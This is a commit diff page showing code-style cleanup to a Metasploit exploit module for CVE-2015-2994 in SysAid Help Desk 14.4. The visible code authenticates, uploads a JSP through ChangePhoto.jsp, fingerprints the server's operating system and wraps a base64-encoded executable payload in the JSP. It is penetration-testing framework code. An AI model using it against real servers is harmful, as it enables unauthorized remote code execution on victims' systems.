Skip to content

Commit 309a86e

Browse files
committed
Do code cleanup
1 parent 3181d76 commit 309a86e

File tree

1 file changed

+23
-34
lines changed

1 file changed

+23
-34
lines changed

modules/exploits/multi/http/sysaid_auth_file_upload.rb

Lines changed: 23 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -25,31 +25,30 @@ def initialize(info = {})
2525
},
2626
'Author' =>
2727
[
28-
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
2929
],
3030
'License' => MSF_LICENSE,
3131
'References' =>
3232
[
33-
[ 'CVE', '2015-2994' ],
34-
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
35-
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
33+
['CVE', '2015-2994'],
34+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'],
35+
['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8']
3636
],
3737
'DefaultOptions' => { 'WfsDelay' => 5 },
3838
'Privileged' => false,
3939
'Platform' => %w{ linux win },
40+
'Arch' => ARCH_X86,
4041
'Targets' =>
4142
[
4243
[ 'Automatic', { } ],
4344
[ 'SysAid Help Desk v14.4 / Linux',
4445
{
45-
'Platform' => 'linux',
46-
'Arch' => ARCH_X86
46+
'Platform' => 'linux'
4747
}
4848
],
4949
[ 'SysAid Help Desk v14.4 / Windows',
5050
{
51-
'Platform' => 'win',
52-
'Arch' => ARCH_X86
51+
'Platform' => 'win'
5352
}
5453
]
5554
],
@@ -94,6 +93,7 @@ def authenticate
9493
'password' => datastore['PASSWORD']
9594
}
9695
})
96+
9797
if res && res.code == 302 && res.get_cookies
9898
return res.get_cookies
9999
else
@@ -105,14 +105,15 @@ def authenticate
105105
def upload_payload(payload, is_exploit)
106106
post_data = Rex::MIME::Message.new
107107
post_data.add_part(payload,
108-
"application/octet-stream", 'binary',
108+
'application/octet-stream', 'binary',
109109
"form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(10))}.jsp\"")
110110

111111
data = post_data.to_s
112112

113113
if is_exploit
114114
print_status("#{peer} - Uploading payload...")
115115
end
116+
116117
res = send_request_cgi({
117118
'uri' => normalize_uri(datastore['TARGETURI'], 'ChangePhoto.jsp'),
118119
'method' => 'POST',
@@ -126,15 +127,17 @@ def upload_payload(payload, is_exploit)
126127
if is_exploit
127128
print_status("#{peer} - Payload uploaded successfully")
128129
end
130+
129131
return $1
130132
else
131133
return nil
132134
end
133135
end
134136

135-
136137
def pick_target
137-
return target if target.name != 'Automatic'
138+
unless target.name == 'Automatic'
139+
return target
140+
end
138141

139142
print_status("#{peer} - Determining target")
140143
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
@@ -157,13 +160,11 @@ def pick_target
157160
end
158161
end
159162

160-
return nil
163+
nil
161164
end
162165

163-
164166
def generate_jsp_payload
165167
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
166-
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
167168
exe = generate_payload_exe(opts)
168169
base64_exe = Rex::Text.encode_base64(exe)
169170

@@ -221,36 +222,24 @@ def generate_jsp_payload
221222

222223
jsp = jsp.gsub(/\n/, '')
223224
jsp = jsp.gsub(/\t/, '')
224-
jsp = jsp.gsub(/\x0d\x0a/, "")
225-
jsp = jsp.gsub(/\x0a/, "")
225+
jsp = jsp.gsub(/\x0d\x0a/, '')
226+
jsp = jsp.gsub(/\x0a/, '')
226227

227228
return jsp
228229
end
229230

230-
231-
def exploit_native
232-
233-
234-
return jsp_name
235-
end
236-
237-
238231
def exploit
239232
@cookie = authenticate
240-
if not @cookie
241-
print_error("#{peer} - Unable to authenticate with the provided credentials.")
242-
return
243-
else
244-
print_status("#{peer} - Authentication was successful with the provided credentials.")
233+
unless @cookie
234+
fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with the provided credentials.")
245235
end
236+
print_status("#{peer} - Authentication was successful with the provided credentials.")
246237

247238
@my_target = pick_target
248239
if @my_target.nil?
249-
print_error("#{peer} - Unable to select a target, we must bail.")
250-
return
251-
else
252-
print_status("#{peer} - Selected target #{@my_target.name}")
240+
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
253241
end
242+
print_status("#{peer} - Selected target #{@my_target.name}")
254243

255244
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
256245
# Fail if this is the case and ask the user to select an appropriate payload.
@@ -260,7 +249,7 @@ def exploit
260249

261250
jsp_payload = generate_jsp_payload
262251
jsp_path = upload_payload(jsp_payload, true)
263-
if not jsp_path
252+
unless jsp_path
264253
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
265254
end
266255

0 commit comments

Comments
 (0)